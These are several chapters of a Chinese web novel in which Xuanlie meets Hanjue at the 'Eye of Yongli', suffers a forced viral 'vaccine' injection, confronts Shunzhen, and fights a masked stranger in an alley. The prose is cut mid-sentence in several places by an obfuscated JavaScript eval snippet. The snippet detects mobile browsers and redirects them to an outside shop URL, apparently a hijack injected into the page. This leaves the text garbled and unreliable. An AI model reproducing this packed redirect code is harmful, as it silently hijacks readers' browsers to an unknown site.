这是个不祥的身影,玄烈停顿片刻,还是走了上去。 注意到玄烈的到来,那人站直了身子:“好巧。” “不巧,你在这里干什么?”玄烈眼神不悦。 “和你一样。” 那人抛下四个字便不再说话,玄烈也不愿意理他,自顾自走到洞旁边向下看。 他一看便惊了。所谓的洞是一面向下凹的玻璃片形成的,玻璃片清透敞亮,更像是一枚望远镜的镜片,照出了世界另一面的样子。 那里仍是白天,天高云淡青鸟翱翔,数不尽的向日葵占满了镜片照得到的一切地方,目中橙黄一片,与高挂着的烈阳和光辉映,世界熠熠灿烂。一阵风刮过,枝叶与向日葵花盘齐齐摇曳。 只一眼玄烈就慌了,他努力瞪起眼睛再三确认着,确认这确实不是虚假的,不是用数码伪造的,而是真实存在于世界的另一边,在这薄薄镜片的另一面。 “这里是永璃之眼,怎么样,看到你想看的了吗?” 看来她还安静地在那里没有被打扰,玄烈松了一口气,“看到了。”他应道。 “你知道,她在哪棵花下吗?” 不问不要紧,对方这一问彻底把玄烈的怒火勾了起来,他将玫瑰安稳地斜放在栅栏边,随即起身猛然揪起对面人的衣领。 “你有什么资格问我?” 这句话是玄烈咬着牙说着,说得狠戾异常,说着让对面人几乎都能听见他咬碎牙齿的声音。 “你有什么资格问我,琀珏。” 玄烈又重复了一遍,琀珏却并没有被刺激地推开他或是放狠话。他如此平静地看着玄烈,就像那天玄烈平静地看着他一样。 他喉结微动,仿佛要说什么又说不出口,一时哑口无言。 拼命压着火气,玄烈最终还是放下了手,“我不知道。” “我……”琀珏一只手抠着栅栏边,“我没办法。” 向日葵如跃动的舞者,在风的指引下海浪般舞弄着它们最绚丽的灵魂。玄烈低头遥望着世界另一边,看到向日葵好似在对他微笑。 “所以,你那么早认识她,是韶赋修的命令?” 过了很久,玄烈忽然这么问。 “是。”琀珏回答。 他没有再往洞里看了,而是仰头看着天,看着被高墙封住的、虚假的永夜,片刻他突然来了一句,“羡慕吗?” “羡慕什么?”玄烈问。 “羡慕我很早就认识她了。” “哼,幼稚,”玄烈觉得无语,“你的存在,就是因为她吗?” 琀珏倒是坦率,“可以这么说。” “为什么?”玄烈觉得不对劲,“为什么要下一盘大棋,就为了把你放在她身边四年?” “我也很好奇,”琀珏背靠着栏杆,依旧仰着头,“如果她只是一个普通得不能再普通的孩子,那又为什么让我看着她?” “只是看着?没有命令?”玄烈更不理解了。 “没有命令,”琀珏摇摇头,“不需要我保护,也不需要我向她传递什么,就只是认识。” 琀珏很可能不清楚纪凛烛的事情,关于她究竟是人类还是机器人的猜测,也估计只有玄烈会想。他不希望琀珏深究这件事,于是打算制止住这个话题。 “听说韶赋修没有进入颠转,是真的吗?”玄烈问。 “我不知道。”琀珏敷衍地回道。 “你不可能不知道。他没来的话,这里的事情交给谁来做,你?还是仪琅?”玄烈追问道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13344398|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我为什么要向你说实话呢?”琀珏反问道。 望着琀珏的眼睛,玄烈猜测很可能韶赋修只用琀珏来专门对付他,别的事大概率交给了仪琅。正这么思考着,玄烈想起还有一个人不见了踪影。 “那潼氏呢?他们以前的机械体,全被你们改造了,还是销毁了?”玄烈问。 “算是……瓜分了,”琀珏毫不在乎地说,“一些人被舜希带走归于舜氏,一些人留在涂云,不过我们目前对外宣称的是潼氏和涂云合并了。” “潼霜呢?” “潼霜?”琀珏目光混沌,“潼霜是谁?” “你不知道潼霜是谁吗?”玄烈觉得不可思议,“潼氏的副总,前任董事长潼玚同母异父的妹妹。” “哦,”琀珏怪笑了一声,这下事态更诡异了,“她……她还在。” 不对劲,很不对劲。玄烈暗自在脑海中将潼霜这一名字着重圈了起来,结合到旁边那个同样被着重花圈的杨宁的名字,他越发觉得奇怪。 调查是后续的事情,恐怕现在想探口风也探不出来。玄烈转而问道:“灼琛呢?” “他……舜希本想带他走,但他自己选择留下。” 见玄烈无应答,几秒后琀珏又补了一句,“可能是你们曾经结盟的缘故,他要避嫌。” 不知怎的,玄烈想起来之前从珣魑山回去的那段下山路,高空滑坡的刺激感,迎面刮来刀片一样的风,一些人爽朗开怀的笑,和他们大声喊的话。 回不去了。 外人在场,想说的话说不出口,玄烈干脆放弃了,打算换个时间再来。无言,他准备离开。 “等等。” 琀珏叫住玄烈,“还给我。” “什么?”玄烈疑惑。 “我的……纽扣。” 玄烈转回身继续向前走,“不在我身上。” “好啊,我跟你一起去舜氏。” 说着,琀珏就跟了上来。玄烈只觉得身后跟了张狗皮膏药,恨不得原地把他撕扯碎了塞进下水道。 路上,车水马龙。玄烈特意选了一条大路,人多车多,他又走得极快,希望能甩掉琀珏。谁知对方跟得紧得很,有好几次几乎都撞在了玄烈身上。 “舜希要扩大颠转,你知道吗?” “不感兴趣。”玄烈嘴硬地说,脚下更是加快了步子,快到他几乎要飞起来,鞋踏在地上发出“嘭嘭”的声音。 “真的吗?你不想知道怎么打破颠转吗?”琀珏还是不死心。 听此,玄烈突然间停滞了脚步,险些让琀珏再次撞他个满怀。 站住后,琀珏后退了一大步,和玄烈拉开了距离,仿佛他是个瘟神。 “她说,颠转无法逆转。”玄烈说。 “她当然这么说。”琀珏似笑非笑。 “哎?玄烈!” 遥遥的声音恰到好处地从背后传来,打断了玄烈即将开口的话。她的装扮没怎么变,就是似乎头发剪短了几厘米,随意地披着,没戴任何发饰。 身边还跟着瘟神一样的孑盏。 “你好呀玄烈,这位是?” 无视孑盏的语气轻佻的问候,玄烈向遥遥点点头,“遥遥姐。” “你们在这聊什……” 看到琀珏的瞬间,遥遥脸色有点难看,但她还是挤出笑容,晃了晃手里的一沓资料,“我去送文件,你们先聊,我、我先走了。” 走前,她还悄悄在玄烈耳边说了一句:“离他远点,这家伙是敌人!” 可惜她的“悄悄”声音也未免太大了点,琀珏每个字都听得一清二楚。 说着,遥遥便随着来往人潮快步跑到了马路的另一边,转而路上势如闪电的各色车辆川流不息地开始奔腾,遮挡住遥遥远去的身影。 琀珏看着遥遥远去的方向,脸上显出几丝好奇。 “怎么了?”玄烈问。 片刻,他转回头,“我好像,在哪见过她。” 133. 永璃之眼(2) 末了,琀珏停在了那个十字路口,没和玄烈回舜氏取他的纽扣。 “我还有事,下次再找你。” 话毕,琀珏朝着遥遥远去的方向就走,走到一半又折返回来,“再善意地提醒你一句,舜希的目的不仅仅是拓展颠转,她还要进行彻底压解。彼时,所谓的另一面世界将会被吞没,一切将真正的不可逆转。” 不可逆转,意味着虚幻的现实即将变成永恒的现实,而真正的现实将会被虚无压制于无可选择的深渊,永世无法回头。 玄烈设想着那一天,永璃之眼也将变成彻底失明的盲眼,在目睹另一侧美好世界被瓦解之后失去存在意义,万劫不复。 他没有追问,留下琀珏的身影,转身钻入死气沉沉的人潮。 一回到舜氏,玄烈就被几个眼冒绿光的工作人员架走了,架到一个审讯室一样的地方。 这里还是一如既往的样子。玻璃房子,冷色光,机械冷板凳,电疗仪,束缚带,搞不明用处的各类机器和机器上五花八门的按钮。 以前的玄烈是这里的常客,被小孩们耍得颠三倒四时常常会被送到这里来治疗。一眨眼是过去好久了,中间经历的事情是那时的他所不能想象的。 重新踏进这里的地板,玄烈还感觉有点陌生。依稀记得当时的他打算从这里出去后就找个地方寻死的,没想到居然命硬又活了这么久。 长条灯管嵌在天花板里,冰冷的白光将四壁玻璃墙上也映出来一条一条的光,不知是冷气开得太大还是这里因埋藏不少冤屈和挣扎而变得阴冷,总之玄烈身上毛毛的。 好消息是带他来的其中一个人还是那日喂他喝酒的男人,坏消息是这人也睁着双瘆人的绿眼,大概把从前的事都忘了。 被架到位置上坐下,玄烈手臂和腿自然而然就知道往哪放,压根不用教。男人点了个按钮,那几根松软面条般的带子便瞬间变得梆硬,蛇一样盘上了玄烈的身子,将他箍得完全动弹不得。 “总得有个理由吧。”玄烈冷冷地说。 男人看了他一眼,没有说话。 紧接着,另一人端来一个托盘,托盘上是一个盛满银紫色液体的注射器。 男人面色呆板地小心翼翼拿起那支注射器,轻轻一推,点点液体从针的尖端滴下。液体坠落到地板后竟发出了类似炙烤的声音。 玄烈心里一紧,挣扎着要缩回手臂,却被那男人摁住,充满电流声的话语从他口中机械地蹦出。 “颠转世界尚不稳定,目前没有彻底消灭异种病毒的方法,进入颠转的人必须接种疫苗。” 男人话音刚落,针头便被狠狠扎进了玄烈的左臂。 那一瞬间是不痛的,折磨的还在后面。随着液体被重重推入玄烈的手臂,那粘稠岩浆般的液体就开始慢慢灼烧着他手臂的内在结构,又痛又痒,整条胳膊重得抬都抬不起来,像是硬被塞进去一块铁砧! 液体流动速度之慢与痛意蔓延的速度完全成反比,好像一大团硫酸还堵在手肘,脑子就已经被吞噬干净了。眼睛火辣辣的,浑身上下无不在向外翻涌着滚烫的热气。 依稀感受到男人将注射器收好,又关掉了横在他身上的束缚带,玄烈迷迷糊糊站了起来。 头很晕,很反胃,脚下一会轻一会重,视野里好像所有机器都长出了脚,在他面前跑来跑去,还无比聒噪地叫喊着什么。 “你可以走了。” 男人话还没说完,玄烈几乎夺门而出。他太熟悉这样的感觉了,如果不是被力量吞噬,如果不是潜伏在他体内的病毒被唤醒…… 玄烈一刻不敢停息,他穿着粗气在楼道间狂奔,引得人们都停下脚步看着他跌跌撞撞远去。 掌心盈盈开始冒火光了,在能量滋养下越来越自然的仿生皮肤又开始显出金属的纹路,并有红到发青的光线在其中游走,烤得他衣服都变得柔软,仿佛再这么烧下去就会变成脆弱的薄冰,一碰就碎。 还好他还认得路。 一路越过丛生的荆棘、密密麻麻爬满整条走廊的蜘蛛、湍流不息的大江大河,就连深不见底的沟壑都被他一跃而过,虽然他险些撞掉两个野人手里端着的猴子,和一个外星人刚刚停稳的外星飞船。 来到房间门口,门把手上不知被谁涂了厚厚一层果酱,滴得到处都是,门上也长了大簇大簇的瓢虫色蘑菇,而他的脚已经化成石油了,每一步都艰难到无法动弹。 来自旷野的歌声越来越近,数万之箭矢朝他齐齐飞来。玄烈猛地扇了自己一巴掌,打到他一侧脸颊通红,掌心发麻,眼前这才安静下一瞬。 他发现那些的确都是错觉,可他没有等待和犹豫的时间。 玄烈推开门便踉跄地挤了进去,顺便将门关紧,反锁了百八十圈,后歪歪斜斜地跌坐在休眠舱里,腿还在外面搭着,头朝下却已经栽在松软的枕头里。 毒性还在发作,他暗骂着这根本不是抑制病毒的试剂,而分明是故意要让他变成怪物。 身上时冷时热,玄烈拼命大口喘息着让自己平静再平静,手死死抓在休眠舱的舱门上,用力到指甲在玻璃板上剐蹭出刺耳难听的声响。 好想打人,好想打人。 他睁开眼看到的是漫天游走的企鹅和哈密瓜,还有飞来飞去的葫芦和炸毛仓鼠,闭上眼却仿佛被血海淹没。像是回到了那一日,他没抓紧的炬衍的手,和对方死掉的眼睛。 门那传来“咚咚”声,不知是哪个没眼色的在敲门,边敲还边喊着玄烈的名字。 他撑着沉重欲裂的脑袋,脚落地的瞬间却倏然泄了力,搞得他一个不留神就跪倒在地上,又花了半天才爬起来。 磨磨蹭蹭东倒西歪站在门口,门上嵌着的磨砂玻璃映出对面人的影子,是舜真。她大力拍打着门,在玄烈的视野来看,门就像海浪一样被她敲得晃晃荡荡的。 磨砂玻璃是马赛克形的,把对面人照得跟个方块人似的,脑袋方、肩膀方,黑溜溜的眼珠也方得放光。 顾不得自己即将暴走或者爆炸的身体,玄烈看见这场景当即笑了出来。可惜他只“咯咯”乐了两声,整个人便向后一头栽倒过去,再不省人事。 光影扑朔,还没等睡熟玄烈就猛然惊醒了。 惊醒的一刹那他又后悔,双眼直愣愣盯着天花板中央的灯看。早知道他没趁丧失理智的时候大杀四方,他就多睡一会了。保不齐还能梦见一些人,把上午没说的话讲一讲。 身下硬梆梆的,好像床板上直接铺了一层麻布,玄烈躺得是腰酸背痛。有很久没睡过床了,跟休眠舱比起来还是差远了。 坐起来的时候脑袋不免还是胀胀地痛,痛到玄烈还没看清旁边坐的人就先呲牙咧嘴开了。 “玄烈老师,你感觉好点了吗?” 绯篱递来一杯温水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367183|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,玄烈先是一怔,确实感觉口干舌燥,接过水后直接仰头一饮而尽,然后才点点头,“好点了。” 房间里比外面暖和些。盛夏的永璃岛像个火炉,可舜氏大楼内永远把温度控制在二十度左右,于是人们一进一出时常感觉冰火两重天。 房间不算大,有点旧,墙砖泛黄,天花板低矮胀裂,仅仅摆着一张床,一把椅子,椅子旁是一台大且臃肿的老式机器,一看就不是多么先进的地方。 方才绯篱一直在专心致志在机器上摆弄着什么,还难得一见地戴上了眼镜。 “我刚才,没有……伤害你们吧?”玄烈低声问道。 “没有,”绯篱又新给玄烈倒了一杯水,“你晕在自己的房间里,就一直睡到现在。” “现在几点了?”玄烈环顾四周,看不到一个表。 绯篱浅浅一笑,“休闲时间。” 头疼在逐渐消解,身上也松快下来,唯独打针的手臂还是抬不起来,“他们说是病毒疫苗,真的吗?” “的确是为了抵御异种病毒研发的疫苗,每人必须接种,只是……玄烈老师你自身携带的病毒过于强烈,所以二者产生的反应反而导致你的病毒被激发……” 绯篱说得有些犹豫和艰难,仿佛还有很多话被憋在嘴边。 “很严重吗?”玄烈问。 “如果确认已经感染异种病毒,那就还好,但目前……目前我们正在想办法监测你体内自有病毒的动向,要是有进一步拓展刺激的趋势,可能就得药物介入。” “我明白了。”玄烈点点头,心里郁闷得紧,转而看向绯篱身后的那台机器,“那是什么?” 绯篱跟着玄烈目光回往了一眼,刚从还在嗡鸣的机器这下居然停止了运转。她拍了拍机身,机器这才又转动起来,发着轰隆噪音。 “我受命改造它,以便颠转进一步扩展。” 绯篱说得轻描淡写,玄烈却像吃了一罐辣椒酱,“这就是?!” “看起来很破,但……确实是。” 玄烈不能相信自己的眼睛。 说好的机密呢?说好的X级项目呢?整个集团最尖端的几个人所保密的机器就摆放在这么破旧、看起来信号不好的地方,还长得跟几个世纪前的重头计算机一样,踢一脚就散架的那种…… 不过……扩展颠转?看来琀珏说的是对的。 “不仅要拓展颠转,还要压缩原来的世界,直到颠转变成现实,对吗?” 绯篱眼底闪起惊讶,“玄烈老师你怎么知道?” “能做到吗?”没有回答绯篱的反问,玄烈问出这句的时候带着点紧张。 “还在尝试。” 绯篱说得平淡,坦然的表情中不搀一丝一毫别的情绪,好像完全真诚,说的每个字都是实话。 “玄烈老师上午去了永璃之眼?”绯篱率先转移了话题。 玄烈知道暂时没有再追问的必要,就点点头。半晌,他又补了一句:“你怎么知道?” “我也去了,不过比你更晚一点。我到的时候,你和两个人刚离开,如果我没看错,其中一个人是涂云的吧?你是……去看小烛老师的吗?” “两个人?”玄烈疑惑道,“还有一个是谁?” 绯篱也跟着不解。 “你和涂云的那个人一起离开的时候,不知道后面有个人在跟着你们吗?” 134. 永璃之眼(3) “什么样的人?”玄烈后背发凉。 “穿着常服,戴着帽子口罩,看不清男女,也从永璃之眼的口走出来。对了,他走的时候拿着一支红玫瑰。” “玫瑰?!” 会是谁?玄烈陷入了深深的怀疑。 不知道是跟踪他还是跟踪琀珏去的,那么小的空间为什么他们没有看到还有一个人? 还有,他凭什么把玫瑰偷走啊! 无言,玄烈心想势必要调查个清楚,“多高?胖吗?这人有没有什么特殊的小动作?” “不胖,挺瘦的,高的话……还算高吧,比你低一点点,具体我看不出来,他好像穿着靴子,看不清底有多高,没有小动作。” “你为什么会去那里?”玄烈问。 “听说炳灿老师也在那里,我想去找找看,”绯篱耸耸肩,有些不好意思,“舜氏最新的项目是AI重生,如果能得到对方详细的资料,还原的对方准确度就会越高。对了,玄烈老师你想不想试一试呢?” 想,怎么不想呢?这样就不用乞求能在梦里见一面了。 “需要什么?”玄烈问。 “图像资料,录音,或者是她写过的文字,什么都可以,越多越好。” “我有……一封信。” “好呀,不过信件会被传送至计算终端,届时恐怕会有不少人看到,你介意吗?” “应该……” 这样好吗?玄烈犹豫了。 “是小烛老师给你写的吗?什么时候的呢?” “十几天前,从内部通讯接口发来的,是一封定时信。” “十几天前……”绯篱盘算着日子,想到这天已经是那一天之后的,恐怕提起来又是好一阵伤心,不免懊悔问出这句话。 但她又觉得奇怪。 “内部通讯?为什么是内部通讯?”绯篱不解地问,“内部通讯不是只有你们舜氏机械体内部才能使用的吗?我要是给玄烈老师发信息的话,走的都不会是内部通讯的接口吧?” 望着绯篱发愁的水润眼睛,玄烈也不知不觉皱起眉毛,“可能,因为她入职了舜氏吧?” 玄烈正嘟囔着,后台“叮咚”一声,是绯篱发来的一个笑脸,位于外部通讯信箱。 “我现在已经进入舜氏了,还是不能走内部通道和你联络。” 还没讨论出结果,绯篱就收到舜真发来的消息,让玄烈醒后他们一起去找她一趟。 这个房间很偏,如果是通过地理位置来保密的话,那这保密程度不算低。走出逼仄的走廊花十分钟,绕到大路上花十分钟,找到电梯又能花十分钟。 “舜希允许你再听从舜真姐的话吗?” 电梯里,玄烈问绯篱。 “她没说不让,我就当作默认了。反正任务总会完成的,不差这一会儿。” 沉默了片刻,玄烈又问:“去找她做什么?” “说是要送你个礼物。”绯篱笑得灿烂。 但当所谓的礼物放到玄烈面前,他指尖轻颤着无论如何也不敢触碰。 “放心,这里的监控被切断了。现在没有广播,这东西在你那,不会有人知道。” 说这话时,舜真朝一旁的杨宁递了个眼色,杨宁扬了扬腕表,表示他已经做好了手脚。 果然很多时候假的永远比不上真的,无论多么先进的技术,无论宣传所说的“一比一复刻”。真的就是真的,它摆在那里,投射在它身上的光会告诉你这就是真的,其姿态是一百个假货也望尘莫及的。 玄烈觉得这东西好像和上次见长得又有了点区别,本就晶莹的玉变得更加剔透,叶子形边缘的锯齿好像越发尖锐了。 “为什么它……在你那?” 面对舜真含笑的眼睛,玄烈内心说不上来的郁闷和难受,说出来的话语调奇怪,半结巴半机械的。 有些话他原是不想问的,自以为能给疑问圆上一个还算有道理的解释,但事到如今再度提起相关的事情,玄烈压在心底的、令他愤怒的问题又被揪了起来。 “那天,绯篱和伏策在现场,捡到了它。” 舜真说得轻描淡写,这些字却在玄烈身上重重烙下了印子。他一时收不住自己愤恨到带有杀意的眼睛,看向绯篱。 绯篱点点头,表示默认。 “然后呢?你们没有见到她吗?” 这句话带着气音,以渺小微弱到几乎听不到的音量飘荡在房间上空。 “没有,”绯篱脸带不忍,“当时我们只看到你被带走,朝舜氏的方向,我们想的是快一点赶回去,我们不知道……” 确实,就像一滴水汇入了洪流,玄烈当时也看不见她。人头攒动,他也没看到赶来的绯篱和伏策。 绯篱没有说谎的理由,他们没有见死不救的理由。 “那……”玄烈一时说不出话。 舜真越笑,他越觉得冷,冷到像是被信任的人捅了好几刀,冷到像是掉进冰窖里。 “为什么骗我,为什么说你们找不到?” 玄烈音量很小,但仿佛他说这么几个字已经耗尽全部力气了。 “为什么……为什么不出兵?” 隐忍到青筋紧绷,再沉重疼痛的手臂此下也有力量把面前的桌子捶个稀巴烂。 “为什么不出兵帮我们?!” 怕舜真听不见,玄烈又重复了一边。他眼睛猩红盯着对面人,口腔内的皮肉被咬破了好几块。 “为什么!因为你害怕出兵镇压那些机械体会让他们反叛!因为你害怕韶赋修会趁机直攻舜氏!你……你在害怕什么!” 怒吼在高空撞击回荡,但舜真却如同那一抹名唤莉莉丝的暗月,仿佛所有叫喊、所有的光都被她吸引而去,在她面前就此消失,戛然而止。 这样的舜真让玄烈在她面前都显得无比渺小、无比无能狂怒。黑到发紫深色瞳孔,细长上挑的眼尾,孱弱到不再呼吸的心脏。 反倒是玄烈好像有点害怕了,害怕这个由防备和秘密织成的灵魂,时而纯粹时而虚幻莫测。 究竟什么是真的,什么是伪装,什么是不得已而为之,什么是在一招不慎便会粉身碎骨的棋盘上所下的最为沉重的一步棋…… “如果你肯、肯伸一下手……”玄烈每说一个字都花了好大力气,“就还有别的办法,我们就……不会输。” “我们还……” “咚咚——” 舜真的话被敲门声打断,她做出的第一反应是给了杨宁一个眼神。杨宁即刻心领神会,迅速敲下了桌边一个不易察觉的按钮,待一堵墙撤开一个黑漆漆的小口,他闪身走了进去。 随即墙面恢复原样,三秒内,房间内就这么悄无声息的消失了一个人。 来了舜真办公室这么多次,玄烈还不知道这居然有一扇暗门。 “我们还没有输。” 舜真笑着说完被打断的那句话,又朝门口喊了一声:“进。” 遥遥一脸灿烂推开门,蹦蹦跳跳着急着要和舜真说着什么,在看到房间内好几个人时,她愣了一下,把那些话咽了回去。 何况她看到摆在桌子上的、更令她吃惊的、闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小小的办公室里挤着几十号人,一方方小桌子就将他们的工作区域锁在这里,整两大块工作时间他们都要耗在这里。低矮的天花板,永远热络的全息通讯电话,永远劳累的打印机。站起坐下走两步路,是他们全部的运动。 玄烈不明白大楼这么宽阔为什么硬是要人挤在这里。他正打量着一边忙碌一边无趣到等死的人们的面孔,一个穿着板正衬衫,领带却歪着的人一边打着电话聊项目一边拍了拍玄烈的手臂,指了指他的腕表。 玄烈不明白他什么意思,顺着他的指点摆弄了半天也没搞懂这人到底想表达什么。 好半天,恐怕紧急任务都被拖到自动解决了,那人才终于挂了电话。 “任务数据传到你那了,进任务箱就看得到。上面刚刚检测到一个没有被注射疫苗的人在市中心逃窜,你的任务就是把这人抓回来,就这样。” 男人刚说完话就被叫走了,其实说到一半就有好几个人轮番叫他,叫得他越来越烦,越说越不爽、不耐烦。 “是人类吗?”临走前,玄烈远远地喊了一句。 这取决于是他自己上还是叫两个帮手。 “是——人——类——”那人的声音远远传回。 玄烈调出定位,那人被用红色的闪点标注,正在最繁华的那片城区游走,来回横跳,好像专门要和玄烈叫板似的,看上去很有活力。 正巧伏策发来信息,问玄烈晚上要不要一起吃饭。正好白天发生的事情还没跟伏策讲,玄烈欣然接受了。 “我出个任务,等我回来。” 135. 永璃之眼(4) 又下雨了。幸而是迷迷蒙蒙的斜雾夹小雨,玄烈懒得回去取胶囊雨衣,就这么走进雨阵中。 他搞不懂反正天空都是假的为什么那些上位者还执着于连续假造这么多场雨,从他来了到现在,干爽利落的时间倒变成了奢侈。 雨唯一的好处是能驱散一些飘渺扩散在低处的奇怪味道,也不那么热了,一点点微风送来灰尘一样夹着土腥味的雨点,将他砸得浑身湿漉漉又土哄哄的。 缺点就是视线不太好。 霓虹在模糊滤镜里闪烁,天空暗得显得高深无比,玄烈一路盯着腕表里快速移动的红点,绕进了一条看不见去处的小巷。 这里已经算城区边缘,玄烈眼看着红点从市中心飞一样跳到这里。如果是普普通通的人类……很可能穿戴着飞行器! 小巷无光,简朴石砖摞得比玄烈高了三个头,厚厚的阴影打在玄烈身上,外面高楼的光很难照到这里。脚下时深时浅,偶尔还踩到埋藏在土里只露尖尖一个角的大石块,想必是未经过修整的旧路,看来舜氏暂时还没开发到这里。 道路狭窄而细长,人群喧闹声被隔绝在墙的另一边,玄烈收起呼吸,尽量放缓脚步,指尖轻探着一侧的墙,谨防他走着走着失去了方向。 世界恍惚间静止了,除了小雨打在他身上微弱的“噼啪”声之外,玄烈听不到巷子里存在任何异响。 定位被他调整到最暗的档,暗到他只能看得清红点停止移动了,自己离红点越来越近,但却也亮到足够让黑暗中的人一瞬间发现他。 于是玄烈掌心一扫表面,将定位收起,将他整个人埋入黑暗中。 忽有一阵穿堂风般的劲风刮过,将蜻蜓点水般的雨化成细长锐利的雨刺,从玄烈正前方直直穿过,砸得他脸上一痛一痒的。 这条巷子是通着的,不是死胡同! 这样就有点难办,玄烈眯起眼睛费劲巴啦才看清定位器上红点周边深灰色线条展示的路况,确实是通路,那红点也正停在离出口不过十几米的地方。 如果硬要逼着对方走,恐怕早在他跑到人家旁边之前一溜烟飞走了。 “咔”的一声,玄烈轻巧而麻利地将腕表解下塞进兜里。这下他也彻底隐藏在黑暗中。 遥远高层的射灯照不到这里,越往前走高楼之上的光也渐渐被完全隔绝开了。 对于面前真正伸手不见五指的无声黑暗,玄烈多少有点紧张。 他仍旧一手食指轻擦着墙边,身子尽量弓起,脚下稳而缓慢地向前移动。 幸好有雨,阻断视线的同时也阻断掉他发出的微弱行动声和衣物摩擦声。 按照刚才定位器上看到的位置估计,玄烈再往前走十步就能站到红点面前,如果对方没有离开的话。 大抵是没有,飞行器启动也要声音,玄烈从进巷子到现在除了他自己,他几乎没听到任何雨声之外的声音。 库星锥尚未被召唤出来,因为那样也会发出声音和光。玄烈握紧了拳,屏息凝神接着往前走。 他边走边暗自数着。一步、两步、三步…… 第六步刚探出去,忽然,一道凌厉的破空声从玄烈右前方扑来! 在微雨的混杂中,玄烈反应过来声音时已然晚了一秒。 他借力往墙上一蹬,腾空回身跃起落地,库星锥飞出去之前,玄烈明显感到额角一凉,随之是淡淡的疼痒。 库星锥所燃就的青色火焰刺破迷蒙的雨幕,点亮这左右六米的窄巷,稳准扎向给玄烈投以暗器的人。 “咻咻”几声,无数小型库星锥幻影也怦然照耀玄烈周身,又立马带着耀眼的光窜了出去。 雨虽小,但头发和脸早已被打湿了。玄烈摸了摸额角的伤口,冰凉交杂微微痛意,玄烈不自觉怔了一下。 不是简单的一条线划痕,而是一道中间深两边浅的柳叶型伤口。也就是说,对方的武器很可能是一枚细长的椎体。 他一定在哪见过这种武器,因为他见过这种伤口! 那边,幻影们零零散散嵌入墙中,将这一方天地照亮。库星锥则已经和对方打了起来。 而那人攻击玄烈的暗器已经消失了。 光并不算太亮,雨仿佛越下越大了。穿过雨,玄烈依稀看出对面人的大致样子。 卫衣、工装裤、靴子、鸭舌帽……没有飞行器。 那人没有武器,赤手空拳和库星锥战斗着,却竟然没有半分落入下风,反而库星锥三番两次进攻,均得不到结果。 太可疑了,绝对不能把这人放走。玄烈一把抓住库星锥,径直加入了战斗。 对方太灵活了,拳脚功夫十分了得,虽瘦削无比,却一招一式皆沉稳到找不出一丝破绽。 玄烈持库星锥左穿右刺、上挑下切,每一次攻击都冲对方要害而去,可对方就是像块滚刀肉,无论如何也无法实现有效打击。 不过对方也碰不到玄烈一寸皮肉。 渐渐的,玄烈愈发感到奇怪。对面这人虽然套路古怪,用的不知是谁家的功夫,但却又总给玄烈很熟悉的感觉。 他万分肯定自己没和这人对打过,但多少可能见过类似的招式。 正想着,玄烈不觉急躁起来。库星锥爆着烈焰火花的锥尖在雨中呲啦作响,他右手卯足了力要砍向对方的喉咙,但在靠近前一瞬转换了套路,转而变为正方向的穿刺。 对方避之不及,连连后退的同时右手从腰后拔出手枪,迅速“咔咔”上膛对准玄烈“砰”的一枪。 炫目的白光正面袭来,玄烈不得已收回库星锥挡了一下,子弹擦着锥刃边缘飞了出去。 手里一震,玄烈有不详的预感。他再定睛看向手里的库星锥,被光弹击中的地方直直冒着白烟,而库星锥身通体流转的青焰在此处莫名有些卡顿。 雨将烟扑灭后,显出锥刃出有一道五毫米的裂痕。 玄烈愤而怒视着旁边高墙上方的人——在打出那枚子弹后,那人已经灵活如猫飞上了墙边,耐心等待玄烈反应过来这一切。 雨下得大了,从微粒小雨变成了大片倾洒的针。视野更差了。 那人背光蹲着,后方闪耀的光恰好将此人的轮廓映得五颜六色,唯独关于此人的正面,是一片混沌。 “你在这等我?”玄烈仰面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我受命来抓你去打疫苗。”玄烈一字一字郑重地说。 那人仿佛笑了,玄烈隐约听得到对方那带着模糊电音的笑声。 “不用抓我,我现在就能打。” 说着,那人从兜里摸出一个注射器一样的东西,二话不说扎进自己的手臂,在玄烈看不清的地方,好像真的有液体被注射进去了。 忽地,玄烈兜里的腕表“滴滴”叫起来。他拿出来打开一看,红色的点在极速闪烁后突然变绿了。 注射器被那人随手抛在地上,刚打进液体的手臂甩了甩,那人起身就要走。 什么情况,怎么好像那人打完针之后一点状况都没有? 可能那人确实没感染过病毒吧。玄烈捏了捏自己的手臂,打针的地方还有点坠坠地疼。 “等等,”玄烈把那人叫住,“所以你压根就是为了引我出来?” 那人停下脚步,停顿了一瞬,点点头,“好像是这样。” “你引我出来,既不是为了杀我,也不为了抢点什么……为什么?” “一定要有个原因吗?”那人问道。 “一切事物都有个原因吧。”玄烈说。 那人沉默了,沉默了很久,沉默到城市中许多闪亮的灯牌被关闭,接着又有不同的灯牌亮起,从一种斑斓转换到另一种缤纷,好像是到了时段变换的时候。 “大概是因为,我想见你一面。” 136. 伏策(1) 